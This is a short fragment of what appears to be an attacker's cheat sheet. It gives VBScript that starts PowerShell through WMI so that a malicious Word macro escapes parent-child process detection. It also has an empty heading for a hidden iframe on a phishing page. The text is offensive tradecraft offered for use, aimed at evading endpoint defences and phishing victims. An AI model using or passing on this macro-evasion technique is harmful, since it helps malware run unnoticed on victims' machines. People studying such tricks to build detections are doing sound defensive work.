- Break MS Word parent-child releationship ```VBScript Dim proc As Object Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") proc.Create "powershell" ``` - Embedding hidden iframe in phishing page ```HTML ```